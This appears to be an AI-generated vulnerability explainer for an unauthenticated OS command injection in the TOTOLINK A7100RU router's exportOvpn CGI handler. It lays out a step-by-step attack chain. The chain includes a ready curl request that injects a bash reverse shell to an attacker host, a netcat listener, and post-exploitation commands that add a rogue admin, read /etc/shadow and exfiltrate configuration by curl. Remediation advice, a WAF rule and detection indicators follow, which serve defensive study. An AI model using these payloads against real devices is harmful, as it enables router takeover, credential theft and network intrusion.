CVE-2026-134882 — TOTOLINK A7100RU — CWE-77 · CWE-78
A weakness has been identified in TOTOLINK A7100RU 7.4cu.2313_B20191024. This issue affects the function exportOvpn of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument Username causes os command injection. The attack is possible to be carried out remotely.
A weakness has been identified in TOTOLINK A7100RU 7.4cu.2313_B20191024. This issue affects the function exportOvpn of the file /cgi-bin/cstecgi.cgi of the component CGI Handler. This manipulation of the argument Username causes os command injection. The attack is possible to be carried out remotely.
🎯 What is this vulnerability?
Vulnerability name: OS command injection in the exportOvpn function of cgi-bin/cstecgi.cgi
CVE: CVE‑2026‑134882
Affected product / firmware: TOTOLINK A7100RU – firmware 7.4cu.2313_B20191024
Technical root‑cause
| Component | Vulnerable code path | CWE(s) |
|---|---|---|
CGI handler (cstecgi.cgi) | exportOvpn → reads the HTTP GET/POST parameter Username and concatenates it into a shell command that is later executed with system() (or an equivalent popen()/exec*() call). | CWE‑78 (OS Command Injection) – the input is not validated or escaped before being handed to the OS shell. <br>CWE‑77 (Improper Neutralization of Special Elements used in a Command) – the same underlying issue. |
Why it works:
The CGI script trusts the Username value as a benign identifier (e.g., to name the exported OpenVPN configuration file). Instead of sanitising the value or using a safe API (e.g., execve with an argument vector), it builds a command string such as:
/* Pseudo‑code extracted from the vulnerable function */
char cmd[256];
snprintf(cmd, sizeof(cmd), "/usr/sbin/ovpn-export -u %s -o /tmp/%s.ovpn", username, username);
system(cmd);Because username is taken directly from the HTTP request, an attacker can inject shell metacharacters (;, &&, |, ` `, $(), etc.) and cause the interpreter to execute arbitrary commands with the privileges of the CGI process (typically root on embedded routers). No authentication (PR:N) or user interaction (UI:N`) is required, which matches the CVSS vector.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI is taken from the CVE description. If a router’s firmware uses a slightly different path, the same technique applies.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the device model and firmware version. | • Passive network scan (Nmap, -sV). <br>• Banner grabbing on port 80/443 reveals “TOTOLINK A7100RU – Firmware 7.4cu.2313_B20191024”. |
| 1.2 | Locate the CGI endpoint. | • Browsing the router’s web UI shows links to “Export OpenVPN”. <br>• The link points to /cgi-bin/cstecgi.cgi?func=exportOvpn&Username=admin. |
| 1.3 | Verify that the endpoint is reachable from the Internet (or from the attacker’s internal network). | • curl -I http://<router_ip>/cgi-bin/cstecgi.cgi returns 200 OK. |
| 1.4 | Confirm the vulnerable parameter exists. | • Simple test: curl "http://<router_ip>/cgi-bin/cstecgi.cgi?func=exportOvpn&Username=test" returns a generated .ovpn file. |
2. Exploitation
Goal: Execute an arbitrary OS command (e.g., spawn a reverse shell).
2.1 Craft the malicious payload
Because the command is passed to /bin/sh -c, any shell metacharacter terminates the intended command. A reliable payload is:
; /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"The full request (illustrative) becomes:
curl -G "http://<router_ip>/cgi-bin/cstecgi.cgi" \
--data-urlencode "func=exportOvpn" \
--data-urlencode "Username=foo; /bin/bash -c \"bash -i >& /dev/tcp/192.0.2.123/4444 0>&1\""Explanation of the encoding
-Gtellscurlto send data as a query string (GET).--data-urlencodeensures the semicolon and spaces are URL‑encoded (%3B%20).- The injected command is executed after the legitimate
exportOvpncommand finishes.
2.2 Set up a listener on the attacker machine
nc -lvnp 44442.3 Trigger the request
Run the curl command from step 2.1. If the firmware runs the CGI script as root, the reverse shell connects back, giving the attacker a fully interactive root shell on the router.
Note: If the router only allows POST for this function, replace-Gwith-dand adjust the content‑type accordingly. The injection principle remains identical.
3. Post‑exploitation
Once a root shell is obtained, an attacker can:
| Action | Typical commands (root) |
|---|---|
| Persist | uci set firewall.@rule[-1].src='*' && uci set firewall.@rule[-1].target='ACCEPT' && uci commit firewall && /etc/init.d/firewall restart (on OpenWrt‑based firmware) or edit /etc/rc.local to add a reverse‑shell launch. |
| Create a new admin user | nvram set http_username=evil && nvram set http_passwd=$(openssl passwd -1 evilpass) && nvram commit (if NVRAM is used). |
| Harvest credentials | cat /etc/shadow, cat /etc/passwd, cat /etc/config/network. |
| Exfiltrate configuration | tar czf /tmp/config.tgz /etc/config && curl -F "file=@/tmp/config.tgz" http://ATTACKER_IP/upload. |
| Disable the device | reboot or poweroff to cause denial‑of‑service. |
| Pivot | Use the router as a foothold to scan the internal LAN (ifconfig, arp -a, nmap -sn 192.168.0.0/24). |
Because the vulnerability also scores SC:H / SI:H / SA:H, the attacker can affect confidentiality, integrity, and availability of the entire network segment reachable from the compromised router (e.g., sniff traffic, inject malicious DNS responses, or act as a man‑in‑the‑middle).
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality (VC:H) | VC:H – attacker can read any file the CGI process can access. | Theft of VPN keys, admin passwords, configuration files, and any data stored on attached storage (USB, internal flash). |
| Integrity (VI:H) | VI:H – attacker can modify files or system settings. | Injection of malicious routing rules, replacement of firmware, creation of backdoors, alteration of DNS or DHCP settings. |
| Availability (VA:H) | VA:H – attacker can disrupt services. | Reboot loops, firewall lock‑outs, or complete device bricking, leading to loss of Internet connectivity for the entire site. |
| Scope (SC:H / SI:H / SA:H) | The impact propagates beyond the vulnerable component to the whole network. | Compromise of the internal LAN, lateral movement to other devices, credential reuse against corporate services, and potential pivot to critical infrastructure. |
Bottom line: A successful exploit gives the attacker remote, unauthenticated, full‑system code execution on a network edge device, effectively compromising the entire protected network.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | Deploy the vendor‑released firmware that fixes exportOvpn (e.g., TOTOLINK A7100RU 7.4cu.2314 or later). The exact version number should be verified from TOTOLINK’s security advisory. |
| Verify patch | After upgrade, request http://<router_ip>/cgi-bin/cstecgi.cgi?func=exportOvpn&Username=test. The response should be a static file without invoking the shell, and attempts to inject ; or ` `` must be rejected with HTTP 400. |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | |
|---|---|---|
| Network isolation | Block inbound traffic to TCP 80/443 from the Internet to the router’s management interface using an upstream firewall or ACL. Allow only trusted LAN IPs. | |
| Disable the vulnerable CGI | If the router’s UI permits, disable the “Export OpenVPN” feature via the web UI or by removing execute permission on /cgi-bin/cstecgi.cgi (chmod 600 /cgi-bin/cstecgi.cgi). | |
| Input sanitisation via WAF / ModSecurity | Deploy a reverse‑proxy WAF in front of the router (or enable built‑in WAF if supported) with a rule that rejects suspicious characters in the Username parameter. Example ModSecurity rule: | |
``apacheconf\nSecRule ARGS:Username "@rx [; | &$()]" "id:2026301,phase:2,deny,log,msg:'OS command injection attempt in Username parameter'"`` | |
| Restrict HTTP methods | Allow only POST if the UI does not require GET`. Reject unexpected query strings. | |
| Change default credentials | Ensure the router’s admin password is strong and not the default “admin”. This does not stop the RCE but reduces the impact of a secondary credential‑theft stage. |
3. Detection
| Indicator | Example log entry (NGINX/Lighttpd style) | |
|---|---|---|
Suspicious characters in Username | GET /cgi-bin/cstecgi.cgi?func=exportOvpn&Username=foo%3B%20id%20%3E%20/tmp/pwn HTTP/1.1" 200 1234 | |
| Unusual User‑Agent (many exploit scripts use generic agents) | User-Agent: curl/7.88.1 | |
| Outbound connection from router (reverse‑shell) | On the router’s system log: Jun 12 14:22:31 kernel: [12345.678901] OUTGOING TCP connection to 192.0.2.123:4444 | |
Creation of unexpected files in /tmp | ls -l /tmp | grep pwn → -rwxr-xr-x 1 root root 1234 Jun 12 /tmp/pwn |
Process list showing /bin/bash -c | ps | grep "bash -c" → root 1234 0.0 0.1 12344 1024 ? Ss 14:22 0:00 /bin/bash -c bash -i >& /dev/tcp/192.0.2.123/4444 0>&1 |
SIEM rule sketch (Splunk/ELK):
index=weblogs (uri_path="/cgi-bin/cstecgi.cgi" AND (Username="*%3B*" OR Username="*%60*" OR Username="*%7C*"))
| stats count by src_ip, Username, _time
| where count > 5⚠️ Urgency
AC:L, AT:N) – a single crafted HTTP request is sufficient. Patch priority: Immediate (Critical).
Bottom line: CVE‑2026‑134882 is a classic, high‑severity OS command injection that grants an unauthenticated attacker root‑level control over the TOTOLINK A7100RU router. Prompt patching, coupled with strict network segmentation and WAF hardening, is essential to prevent full network compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query